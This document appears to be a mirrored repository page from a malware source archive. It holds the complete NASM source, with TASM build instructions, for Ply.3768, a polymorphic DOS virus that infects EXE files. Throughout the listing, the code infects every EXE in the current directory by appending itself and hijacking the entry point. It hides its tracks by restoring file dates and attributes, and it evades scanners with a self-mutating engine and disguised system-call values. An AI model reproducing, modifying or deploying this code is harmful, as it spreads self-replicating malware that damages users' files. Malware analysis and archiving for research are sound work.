mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-25 16:38:38 +00:00
927 lines
24 KiB
NASM
927 lines
24 KiB
NASM
comment *
|
|
Ply.3768
|
|
Disassembly by
|
|
Darkman/VLAD
|
|
|
|
Ply.3768 is a 3768 bytes parasitic direct action EXE virus. Infects every
|
|
file in current directory, when executed, by appending the virus to the
|
|
infected file. Ply.3768 has an error handler, anti-heuristic techniques and
|
|
is polymorphic in file using its internal polymorphic engine.
|
|
|
|
To compile Ply.3768 with Turbo Assembler v 4.0 type:
|
|
TASM /m PLY_3768.ASM
|
|
TLINK /t /x PLY_3768.OBJ
|
|
*
|
|
|
|
.model tiny
|
|
.code
|
|
org 100h ; Origin of Ply.3768
|
|
|
|
code_begin:
|
|
delta_offset equ $+01h ; Delta offset
|
|
mov bp,100h ; BP = delta offset
|
|
poly_begin:
|
|
mov ax,cs ; AX = code segment
|
|
nop
|
|
mov ds,ax ; DS = " "
|
|
nop
|
|
mov es,ax ; ES = " "
|
|
nop
|
|
|
|
mov ax,100h ; AX = offset of beginning of code
|
|
sub bp,ax ; Subtract offset of beginning of ...
|
|
nop
|
|
|
|
sti ; Set interrupt-enable flag
|
|
nop
|
|
nop
|
|
cld ; Clear direction flag
|
|
nop
|
|
nop
|
|
|
|
lea si,poly_begin ; SI = offset of poly_begin
|
|
add si,bp ; Add delta offset
|
|
nop
|
|
mov cx,(poly_end-poly_begin)/03h
|
|
poly_loop:
|
|
in al,40h ; AL = 8-bit random number
|
|
nop
|
|
and al,00000111b ; AL = random number between zero ...
|
|
nop
|
|
|
|
push cx ; Save CX at stack
|
|
nop
|
|
nop
|
|
push si ; Save SI at stack
|
|
nop
|
|
nop
|
|
|
|
cmp al,00h ; Prepend a NOP to the opcode?
|
|
nop
|
|
jne test_append ; Not equal? Jump to test_append
|
|
nop
|
|
|
|
mov al,[si] ; AL = first byte of three-bytes b...
|
|
nop
|
|
cmp al,90h ; NOP (opcode 90h)?
|
|
nop
|
|
je dont_poly ; Equal? Jump to dont_poly
|
|
nop
|
|
|
|
mov al,[si+02h] ; AL = third byte of three-byte block
|
|
cmp al,90h ; NOP (opcode 90h)
|
|
nop
|
|
jne dont_poly ; Not equal? Jump to dont_poly
|
|
nop
|
|
|
|
mov ax,[si] ; AX = first word of three-bytes b...
|
|
nop
|
|
lea bx,poly_buffer ; BX = offset of poly_buffer
|
|
add bx,bp ; Add delta offset
|
|
nop
|
|
mov [bx+01h],ax ; Store first word of three-bytes ...
|
|
|
|
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
|
nop
|
|
je dec_imm8 ; Equal? Jump to dec_imm8
|
|
nop
|
|
|
|
and al,11110000b
|
|
nop
|
|
cmp al,70h ; Jump on condition?
|
|
nop
|
|
jne prepend_nop ; Not equal? Jump to prepend_nop
|
|
nop
|
|
dec_imm8:
|
|
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
|
|
prepend_nop:
|
|
mov al,90h ; NOP (opcode 90h)
|
|
nop
|
|
mov [bx],al ; Prepend a NOP to the opcode
|
|
nop
|
|
|
|
mov di,si ; DI = offset of current three-byt...
|
|
nop
|
|
mov si,bx ; SI = offset of poly_buffer
|
|
nop
|
|
mov cx,03h ; Move three bytes
|
|
rep movsb ; Move three-bytes block to offset...
|
|
nop
|
|
dont_poly:
|
|
jmp test_loop
|
|
test_append:
|
|
cmp al,01h ; Append a NOP to the opcode?
|
|
nop
|
|
jne test_create ; Not equal? Jump to test_create
|
|
nop
|
|
|
|
mov al,[si] ; AL = first byte of three-bytes b...
|
|
nop
|
|
cmp al,90h ; NOP (opcode 90h)?
|
|
nop
|
|
jne dont_poly_ ; Not equal? Jump to dont_poly_
|
|
nop
|
|
|
|
mov ax,[si+01h] ; AX = second word of three-bytes ...
|
|
lea bx,poly_buffer ; BX = offset of poly_buffer
|
|
add bx,bp ; Add delta offset
|
|
nop
|
|
mov [bx],ax ; Store second word of three-bytes...
|
|
nop
|
|
|
|
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
|
nop
|
|
je dec_imm8_ ; Equal? Jump to dec_imm8_
|
|
nop
|
|
|
|
and al,11110000b
|
|
nop
|
|
cmp al,70h ; Jump on condition?
|
|
nop
|
|
jne append_nop ; Not equal? Jump to append_nop
|
|
nop
|
|
dec_imm8_:
|
|
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
|
|
append_nop:
|
|
mov al,90h ; NOP (opcode 90h)
|
|
nop
|
|
mov [bx+02h],al ; Append a NOP to the opcode
|
|
|
|
mov di,si ; DI = offset of current three-byt...
|
|
nop
|
|
mov si,bx ; SI = offset of poly_buffer
|
|
nop
|
|
mov cx,03h ; Move three bytes
|
|
rep movsb ; Move three-bytes block to offset...
|
|
nop
|
|
dont_poly_:
|
|
jmp test_loop
|
|
test_create:
|
|
cmp al,02h ; Create a CALL imm16 to the opcode?
|
|
nop
|
|
jne delete_call ; Not equal? Jump to delete_call
|
|
nop
|
|
|
|
mov ax,[si] ; AX = first word of three-bytes b...
|
|
nop
|
|
cmp al,90h ; NOP (opcode 90h)?
|
|
nop
|
|
jne create_call ; Not equal? Jump to create_call
|
|
nop
|
|
|
|
mov al,ah ; AL = second byte of three-bytes ...
|
|
nop
|
|
create_call:
|
|
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
|
|
nop
|
|
je call_exit ; Equal? Jump to call_exit
|
|
nop
|
|
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
|
nop
|
|
je call_exit ; Equal? Jump to call_exit
|
|
nop
|
|
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
|
nop
|
|
je call_exit ; Equal? Jump to call_exit
|
|
nop
|
|
cmp al,0c3h ; RET (opcode 0c3h)
|
|
nop
|
|
je call_exit ; Equal? Jump to call_exit
|
|
nop
|
|
|
|
and al,11110000b
|
|
nop
|
|
cmp al,70h ; Jump on condition?
|
|
nop
|
|
je call_exit ; Equal? Jump to call_exit
|
|
nop
|
|
cmp al,50h ; PUSH reg16/POP reg16?
|
|
nop
|
|
je call_exit ; Equal? Jump to call_exit
|
|
nop
|
|
|
|
call get_poly_off
|
|
|
|
mov cx,03h ; Move three bytes
|
|
rep movsb ; Move three-bytes block to offset...
|
|
nop
|
|
|
|
mov al,0c3h ; RET (opcode 0c3h)
|
|
nop
|
|
stosb ; Store RET
|
|
nop
|
|
nop
|
|
|
|
in al,40h ; AL = 8-bit random number
|
|
nop
|
|
stosb ; Store 8-bit random number
|
|
nop
|
|
nop
|
|
|
|
in al,40h ; AL = 8-bit random number
|
|
nop
|
|
stosb ; Store 8-bit random number
|
|
nop
|
|
nop
|
|
|
|
mov al,0e8h ; CALL imm16 (opcode 0e8h)
|
|
nop
|
|
lea bx,poly_buffer ; BX = offset of poly_buffer
|
|
add bx,bp ; Add delta offset
|
|
nop
|
|
mov [bx],al ; Create a CALL imm16 to the opcode
|
|
nop
|
|
|
|
mov ax,di ; AX = random offset of polymorphi...
|
|
nop
|
|
sub ax,si ; Subtract offset of current three...
|
|
nop
|
|
sub ax,06h ; Subtract size of six-bytes block
|
|
mov [bx+01h],ax ; Store 16-bit immediate
|
|
|
|
mov di,si ; SI = offset of current three-byt...
|
|
nop
|
|
mov ax,03h ; AX = size of opcode CALL imm16
|
|
sub di,ax ; Subtract size of opcode CALL imm...
|
|
nop
|
|
mov si,bx ; SI = offset of poly_buffer
|
|
nop
|
|
mov cx,03h ; Move three bytes
|
|
rep movsb ; Move three-bytes block to offset...
|
|
nop
|
|
call_exit:
|
|
jmp test_loop
|
|
delete_call:
|
|
cmp al,03h ; Delete previously created CALL i...
|
|
nop
|
|
jne test_create_ ; Not equal? Jump to test_create_
|
|
nop
|
|
|
|
mov al,[si] ; AL = first byte of three-bytes b...
|
|
nop
|
|
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
|
|
nop
|
|
jne call_exit_ ; Not equal? Jump to call_exit_
|
|
nop
|
|
|
|
mov ax,[si+01h] ; AX = 16-bit immediate
|
|
add ax,03h ; Add size of opcode CALL imm16
|
|
|
|
mov di,si ; DI = offset of current three-byt...
|
|
nop
|
|
add si,ax ; Add 16-bit immediate
|
|
nop
|
|
lea bx,poly_blocks ; BX = offset of poly_blocks
|
|
add bx,bp ; Add delta offset
|
|
nop
|
|
cmp si,bx ; 16-bit immediate within polymorp...
|
|
nop
|
|
jb call_exit_ ; Below? Jump to call_exit_
|
|
nop
|
|
|
|
mov cx,03h ; Move three bytes
|
|
rep movsb ; Move three-bytes block to offset...
|
|
nop
|
|
|
|
mov al,90h ; NOP (opcode 90h)
|
|
nop
|
|
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
|
nop
|
|
mov [si-03h],ax ; Store NOP; NOP
|
|
|
|
in al,40h ; AL = 8-bit random number
|
|
nop
|
|
mov [si-01h],al ; Store 8-bit random number
|
|
|
|
in al,40h ; AL = 8-bit random number
|
|
nop
|
|
mov [si],al ; Store 8-bit random number
|
|
nop
|
|
call_exit_:
|
|
jmp test_loop
|
|
test_create_:
|
|
cmp al,04h ; Create a JMP imm16 to the opcode?
|
|
nop
|
|
jne delete_jmp ; Not equal? Jump to delete_jmp
|
|
nop
|
|
|
|
mov ax,[si] ; AX = first word of three-bytes b...
|
|
nop
|
|
cmp al,90h ; NOP (opcode 90h)?
|
|
nop
|
|
jne create_jmp ; Not equal? Jump to create_jmp
|
|
nop
|
|
|
|
mov al,ah ; AL = second byte of three-bytes ...
|
|
nop
|
|
create_jmp:
|
|
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
|
nop
|
|
je jmp_exit ; Equal? Jump to jmp_exit
|
|
nop
|
|
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
|
|
nop
|
|
je jmp_exit ; Equal? Jump to jmp_exit
|
|
nop
|
|
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
|
|
nop
|
|
je jmp_exit ; Equal? Jump to jmp_exit
|
|
nop
|
|
|
|
and al,11110000b
|
|
nop
|
|
cmp al,70h ; Jump on condition?
|
|
nop
|
|
je jmp_exit ; Equal? Jump to jmp_exit
|
|
nop
|
|
|
|
call get_poly_off
|
|
|
|
mov cx,03h ; Move three bytes
|
|
rep movsb ; Move three-bytes block to offset...
|
|
nop
|
|
|
|
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
|
nop
|
|
stosb ; Store JMP imm16
|
|
nop
|
|
nop
|
|
|
|
mov ax,di ; AX = random offset of polymorphi...
|
|
nop
|
|
sub ax,si ; Subtract offset of current three...
|
|
nop
|
|
neg ax ; Negate AX
|
|
nop
|
|
sub ax,02h ; Subtract two from 16-bit immediate
|
|
stosw ; Store 16-bit immediate
|
|
nop
|
|
nop
|
|
|
|
mov al,0e9h ; JMP imm16 (opcode 0e9h)
|
|
nop
|
|
lea bx,poly_buffer ; BX = offset of poly_buffer
|
|
add bx,bp ; Add delta offset
|
|
nop
|
|
mov [bx],al ; Create a JMP imm16 to the opcode
|
|
nop
|
|
|
|
mov ax,di ; AX = random offset of polymorphi...
|
|
nop
|
|
sub ax,si ; Subtract offset of current three...
|
|
nop
|
|
sub ax,06h ; Subtract size of six-bytes block
|
|
mov [bx+01h],ax ; Store 16-bit immediate
|
|
|
|
mov di,si ; SI = offset of current three-byt...
|
|
nop
|
|
mov ax,03h ; AX = size of opcode CALL imm16
|
|
sub di,ax ; Subtract size of opcode CALL imm...
|
|
nop
|
|
mov si,bx ; SI = offset of poly_buffer
|
|
nop
|
|
mov cx,03h ; Move three bytes
|
|
rep movsb ; Move three-bytes block to offset...
|
|
nop
|
|
jmp_exit:
|
|
jmp test_loop
|
|
nop
|
|
delete_jmp:
|
|
cmp al,05h ; Delete previously created JMP im...
|
|
nop
|
|
jne test_loop ; Not equal? Jump to test_loop
|
|
nop
|
|
|
|
mov al,[si] ; AL = first byte of three-bytes b...
|
|
nop
|
|
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
|
|
nop
|
|
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
|
|
nop
|
|
|
|
mov ax,[si+01h] ; AX = 16-bit immediate
|
|
add ax,03h ; Add size of opcode CALL imm16
|
|
|
|
mov di,si ; DI = offset of current three-byt...
|
|
nop
|
|
add si,ax ; Add 16-bit immediate
|
|
nop
|
|
lea bx,poly_blocks ; BX = offset of poly_blocks
|
|
add bx,bp ; Add delta offset
|
|
nop
|
|
cmp si,bx ; 16-bit immediate within polymorp...
|
|
nop
|
|
jb jmp_exit_ ; Below? Jump to jmp_exit_
|
|
nop
|
|
|
|
mov cx,03h ; Move three bytes
|
|
rep movsb ; Move three-bytes block to offset...
|
|
nop
|
|
|
|
mov al,90h ; NOP (opcode 90h)
|
|
nop
|
|
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
|
nop
|
|
mov [si-03h],ax ; Store NOP; NOP
|
|
|
|
in al,40h ; AL = 8-bit random number
|
|
nop
|
|
mov [si-01h],al ; Store 8-bit random number
|
|
|
|
in al,40h ; AL = 8-bit random number
|
|
nop
|
|
mov [si],al ; Store 8-bit random number
|
|
nop
|
|
jmp_exit_:
|
|
jmp test_loop
|
|
nop
|
|
test_loop:
|
|
pop si ; Load SI from stack
|
|
nop
|
|
nop
|
|
pop cx ; Load CX from stack
|
|
nop
|
|
nop
|
|
|
|
mov ax,03h ; AX = size of block
|
|
add si,ax ; SI = offset of next three-byte b...
|
|
nop
|
|
|
|
dec cx ; Decrease CX
|
|
nop
|
|
nop
|
|
jz poly_exit ; Zero? Jump to poly_exit
|
|
nop
|
|
|
|
jmp poly_loop
|
|
poly_exit:
|
|
jmp prepare_exit
|
|
nop
|
|
|
|
get_poly_off proc near ; Get random offset of polymorphic...
|
|
in al,40h ; AL = 8-bit random number
|
|
nop
|
|
mov ah,al ; AH = " " "
|
|
nop
|
|
in al,40h ; AL = 8-bit random number
|
|
nop
|
|
mov di,ax ; DI = 16-bit random number
|
|
nop
|
|
mov ax,(poly_end-poly_begin)/03h
|
|
get_rnd_num:
|
|
sub di,ax ; Subtract number of polymorphic b...
|
|
nop
|
|
cmp di,ax ; Too large a 16-bit random number?
|
|
nop
|
|
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
|
|
nop
|
|
|
|
mov ax,di ; AX = 16-bit random number within...
|
|
nop
|
|
|
|
add di,ax ; Add number of polymorphic blocks
|
|
nop
|
|
add di,ax ; " " " " "
|
|
nop
|
|
add di,ax ; " " " " "
|
|
nop
|
|
add di,ax ; " " " " "
|
|
nop
|
|
add di,ax ; " " " " "
|
|
nop
|
|
|
|
lea ax,poly_blocks ; AX = offset of poly_blocks
|
|
add di,ax ; Add offset of poly_blocks to ran...
|
|
nop
|
|
add di,bp ; Add delta offset
|
|
nop
|
|
|
|
|
|
mov al,90h ; NOP (opcode 90h)
|
|
nop
|
|
mov ah,al ; NOP; NOP (opcode 90h,90h)
|
|
nop
|
|
cmp [di],ax ; Offset already in use?
|
|
nop
|
|
jne get_poly_off ; Not equal? Jump to get_poly_off
|
|
nop
|
|
|
|
ret ; Return!
|
|
nop
|
|
nop
|
|
endp
|
|
prepare_exit:
|
|
lea si,file_header ; SI = offset of file_header
|
|
add si,bp ; Add delta offset
|
|
nop
|
|
lea di,instruct_ptr ; SI = offset of instruct_ptr
|
|
add di,bp ; Add delta offset
|
|
nop
|
|
|
|
mov ax,[si+14h] ; AX = instruction pointer
|
|
stosw ; Store instruction pointer
|
|
nop
|
|
nop
|
|
mov ax,[si+16h] ; AX = code segment
|
|
stosw ; Store code segment
|
|
nop
|
|
nop
|
|
mov ax,[si+0eh] ; AX = stack segment
|
|
stosw ; Store stack segment
|
|
nop
|
|
nop
|
|
mov ax,[si+10h] ; AX = stack pointer
|
|
stosw ; Store stack pointer
|
|
nop
|
|
nop
|
|
|
|
mov ah,1ah ; Set disk transfer area address
|
|
nop
|
|
lea dx,dta ; DX = offset of dta
|
|
add dx,bp ; Add delta offset
|
|
nop
|
|
mov di,dx ; DI = offset of dta
|
|
nop
|
|
int 21h
|
|
nop
|
|
|
|
mov ax,3524h ; Get interrupt vector 24h
|
|
int 21h
|
|
nop
|
|
push bx ; Save BX at stack
|
|
nop
|
|
nop
|
|
mov ax,es ; ES = segment of interrupt 24h
|
|
nop
|
|
push ax ; Save AX at stack
|
|
nop
|
|
nop
|
|
|
|
mov ax,cs ; AX = code segment
|
|
nop
|
|
mov es,ax ; ES = " "
|
|
nop
|
|
|
|
mov ax,2524h ; Get interrupt vector 24h
|
|
lea dx,int24_virus ; DX = offset of int24_virus
|
|
add dx,bp ; Add delta offset
|
|
nop
|
|
int 21h
|
|
nop
|
|
|
|
mov ax,(4e00h+2020h) ; Find first matching file
|
|
sub ax,2020h
|
|
mov cx,0000000000000111b
|
|
lea dx,file_specifi ; DX = offset of file_specifi
|
|
add dx,bp ; Add delta offset
|
|
nop
|
|
|
|
mov bx,dx ; BX = offset of file_specifi
|
|
nop
|
|
mov al,'E'
|
|
nop
|
|
mov [bx+02h],al ; Correct the file specification
|
|
find_next:
|
|
int 21h
|
|
nop
|
|
jnc open_file ; No error? Jump to open_file
|
|
nop
|
|
|
|
pop ax ; Load AX from stack
|
|
nop
|
|
nop
|
|
mov ds,ax ; DS = segment of interrupt 24h
|
|
nop
|
|
pop dx ; Load DX from stack
|
|
nop
|
|
nop
|
|
mov ax,2524h ; Set interrupt vector 24h
|
|
int 21h
|
|
nop
|
|
|
|
mov ax,cs ; AX = code segment
|
|
nop
|
|
mov ds,ax ; DS = " "
|
|
nop
|
|
|
|
mov ah,62h ; Get current PSP address
|
|
nop
|
|
int 21h
|
|
nop
|
|
mov ds,bx ; DS = segment of PSP for current ...
|
|
nop
|
|
|
|
mov ah,1ah ; Set disk transfer area address
|
|
nop
|
|
mov dx,80h ; DX = offset of default disk tran...
|
|
int 21h
|
|
nop
|
|
|
|
mov ax,cs ; AX = code segment
|
|
nop
|
|
mov ds,ax ; DS = " "
|
|
nop
|
|
|
|
jmp virus_exit
|
|
open_file:
|
|
mov al,'V'
|
|
nop
|
|
mov [bx+02h],al ; Correct the file specification
|
|
|
|
mov ax,3d00h ; Open file (read)
|
|
lea dx,filename ; DX = offset of filename
|
|
add dx,bp ; Add delta offset
|
|
nop
|
|
int 21h
|
|
nop
|
|
xchg bx,ax ; BX = file handle
|
|
nop
|
|
nop
|
|
|
|
mov ah,3fh ; Read from file
|
|
nop
|
|
mov dx,si ; DX = offset of file_header
|
|
nop
|
|
mov cx,1ah ; Read twenty-six bytes
|
|
int 21h
|
|
nop
|
|
|
|
mov ah,3eh ; Close file
|
|
nop
|
|
int 21h
|
|
nop
|
|
|
|
mov ax,('ZM'+2020h) ; EXE signature
|
|
sub ax,2020h
|
|
cmp [si],ax ; Found EXE signature?
|
|
nop
|
|
je examine_file ; Equal? Jump to examine_file
|
|
nop
|
|
|
|
xchg ah,al ; Exchange EXE signature
|
|
nop
|
|
cmp [si],ax ; Found EXE signature?
|
|
nop
|
|
je examine_file ; Equal? Jump to examine_file
|
|
nop
|
|
jmp_find_nxt:
|
|
mov ax,(4f00h+2020h) ; Find next matching file
|
|
sub ax,2020h
|
|
|
|
jmp find_next
|
|
nop
|
|
examine_file:
|
|
mov ax,2020h
|
|
cmp [si+12h],ax ; Already infected?
|
|
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
|
|
nop
|
|
|
|
mov ax,(4301h+2020h) ; Set file attributes
|
|
sub ax,2020h
|
|
xor cx,cx ; CX = new file attributes
|
|
nop
|
|
lea dx,filename ; DX = offset of filename
|
|
add dx,bp ; Add delta offset
|
|
nop
|
|
int 21h
|
|
nop
|
|
|
|
mov ax,(3d02h+2020h) ; Open file (read/write)
|
|
sub ax,2020h
|
|
lea dx,filename ; DX = offset of filename
|
|
add dx,bp ; Add delta offset
|
|
nop
|
|
int 21h
|
|
nop
|
|
xchg bx,ax ; BX = file handle
|
|
nop
|
|
nop
|
|
|
|
mov ax,4202h ; Set current file position (EOF)
|
|
xor cx,cx ; Zero CX
|
|
nop
|
|
xor dx,dx ; Zero DX
|
|
nop
|
|
int 21h
|
|
nop
|
|
|
|
mov ax,(4000h+2020h) ; Write to file
|
|
sub ax,2020h
|
|
mov cx,(code_end-code_begin)
|
|
lea dx,code_begin ; DX = offset of code_begin
|
|
add dx,bp ; Add delta offset
|
|
nop
|
|
int 21h
|
|
nop
|
|
|
|
mov ax,[si+08h] ; AX = header size in paragraphs
|
|
mov cl,04h ; Multiply by paragraphs
|
|
nop
|
|
shl ax,cl ; AX = header size
|
|
nop
|
|
push bx ; Save BX at stack
|
|
nop
|
|
nop
|
|
xchg ax,bx ; BX = header size
|
|
nop
|
|
nop
|
|
|
|
mov ax,[di+1ah] ; AX = low-order word of filesize
|
|
mov dx,[di+1ch] ; DX = high-order word of filesize
|
|
push ax ; Save AX at stack
|
|
nop
|
|
nop
|
|
push dx ; Save DX at stack
|
|
nop
|
|
nop
|
|
|
|
sub ax,bx ; Subtract header size from filesize
|
|
nop
|
|
sbb dx,00h ; Convert to 32-bit
|
|
mov cx,10h
|
|
div cx ; Divide by paragraphs
|
|
nop
|
|
mov [si+14h],dx ; Store instruction pointer
|
|
mov [si+16h],ax ; Store code segment
|
|
|
|
lea bx,delta_offset ; BX = offset of delta_offset
|
|
add bx,bp ; Add delta offset
|
|
nop
|
|
mov [bx],dx ; Store delta offset
|
|
nop
|
|
|
|
inc ax ; Increase AX
|
|
nop
|
|
nop
|
|
mov [si+0eh],ax ; Store stack segment
|
|
|
|
mov ax,(code_end-code_begin+0c0h)
|
|
add dx,ax ; DX = stack pointer
|
|
nop
|
|
mov ax,1111111111111110b
|
|
and dx,ax ; DX = " "
|
|
nop
|
|
mov [si+10h],dx ; Store stack pointer
|
|
|
|
mov ax,2020h ; AX = infection mark
|
|
mov [si+12h],ax ; Store infection mark
|
|
|
|
pop dx ; Load DX from stack
|
|
nop
|
|
nop
|
|
pop ax ; Load AX from stack
|
|
nop
|
|
nop
|
|
add ax,(code_end-code_begin)
|
|
adc dx,00h ; Convert to 32-bit
|
|
|
|
mov cl,09h
|
|
nop
|
|
push ax ; Save AX at stack
|
|
nop
|
|
nop
|
|
shr ax,cl ; Multiply by pages
|
|
nop
|
|
ror dx,cl ; " " "
|
|
nop
|
|
stc ; Set carry flag
|
|
nop
|
|
nop
|
|
adc dx,ax ; DX = total number of 512-bytes p...
|
|
nop
|
|
pop ax ; Load AX from stack
|
|
nop
|
|
nop
|
|
and ah,00000001b
|
|
mov [si+04h],dx ; Store totalt number of 512-bytes...
|
|
mov [si+02h],ax ; Number of bytes in last 512-byte...
|
|
pop bx ; Load BX from stack
|
|
nop
|
|
nop
|
|
|
|
mov ax,4201h ; Set current file position (CFP)
|
|
mov cx,-01h
|
|
mov dx,-(code_end-delta_offset)
|
|
int 21h
|
|
nop
|
|
|
|
mov ax,(4000h+2020h) ; Write to file
|
|
sub ax,2020h
|
|
mov cx,02h ; Write two bytes
|
|
lea dx,delta_offset ; DX = offset of delta_offset
|
|
add dx,bp ; Add delta offset
|
|
nop
|
|
int 21h
|
|
nop
|
|
|
|
mov ax,4200h ; Set current file position (SOF)
|
|
xor cx,cx ; Zero CX
|
|
nop
|
|
xor dx,dx ; Zero DX
|
|
nop
|
|
int 21h
|
|
nop
|
|
|
|
mov ax,(4000h+2020h) ; Write to file
|
|
sub ax,2020h
|
|
mov cx,1ah ; Write twenty-six bytes
|
|
mov dx,si ; DX = offset of file_header
|
|
nop
|
|
int 21h
|
|
nop
|
|
|
|
mov ax,(5701h-2020h) ; Set file's date and time
|
|
add ax,2020h
|
|
mov cx,[di+16h] ; CX = file time
|
|
mov dx,[di+18h] ; DX = file date
|
|
int 21h
|
|
nop
|
|
|
|
mov ah,3eh ; Close file
|
|
nop
|
|
int 21h
|
|
nop
|
|
|
|
mov ax,(4301h+2020h) ; Set file attributes
|
|
sub ax,2020h
|
|
mov ch,00h ; Zero CH
|
|
nop
|
|
mov cl,[di+15h] ; CL = file attribute
|
|
lea dx,filename ; DX = offset of filename
|
|
add dx,bp ; Add delta offset
|
|
nop
|
|
int 21h
|
|
nop
|
|
|
|
mov ah,4fh ; Find next matching file
|
|
nop
|
|
|
|
jmp find_next
|
|
|
|
int24_virus proc near ; Interrupt 24h of Ply.3768
|
|
mov al,03h ; Fail system call in progress
|
|
nop
|
|
|
|
jmp int24_exit
|
|
nop
|
|
endp
|
|
virus_exit:
|
|
mov ah,62h ; Get current PSP address
|
|
nop
|
|
int 21h
|
|
nop
|
|
mov es,bx ; ES = segment of PSP for current ...
|
|
nop
|
|
|
|
mov cx,bx ; CX = " " " " " "
|
|
nop
|
|
add cx,10h ; CX = segment of beginning of code
|
|
|
|
lea si,instruct_ptr ; SI = offset of instruct_ptr
|
|
add si,bp ; Add delta offset
|
|
nop
|
|
|
|
add [si+02h],cx ; Add segment of beginning of code...
|
|
add cx,[si+04h] ; Add original stack segment to se...
|
|
|
|
cli ; Clear interrupt-enable flag
|
|
nop
|
|
nop
|
|
xor ax,ax ; Zero AX
|
|
nop
|
|
poly_end:
|
|
mov sp,[si+06h] ; SP = stack pointer
|
|
mov ss,cx ; SS = stack segment
|
|
sti ; Set interrupt-enable flag
|
|
|
|
push ax ; Save AX at stack
|
|
|
|
mov ds,bx ; DS = segment of PSP for current ...
|
|
|
|
db 0eah ; JMP imm32 (opcode 0eah)
|
|
instruct_ptr dw ? ; Instruction pointer
|
|
code_seg dw ? ; Code segment
|
|
|
|
stack_seg dw ? ; Stack segment
|
|
stack_ptr dw ? ; Stack pointer
|
|
int24_exit:
|
|
iret ; Interrupt return!
|
|
|
|
db 00h,00h
|
|
file_specifi db '*.VXE',00h ; File specification
|
|
file_header dw 0ah dup(?),00h,0fff0h,?
|
|
db 00h
|
|
poly_buffer db 03h dup(?) ; Polymorphic buffer
|
|
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
|
|
code_end:
|
|
dta:
|
|
db 15h dup(?) ; Used by DOS for find next-process
|
|
file_attr db ? ; File attribute
|
|
file_time dw ? ; File time
|
|
file_date dw ? ; File date
|
|
filesize dd ? ; Filesize
|
|
filename db 0dh dup(?) ; Filename
|
|
data_end:
|
|
|
|
end code_begin
|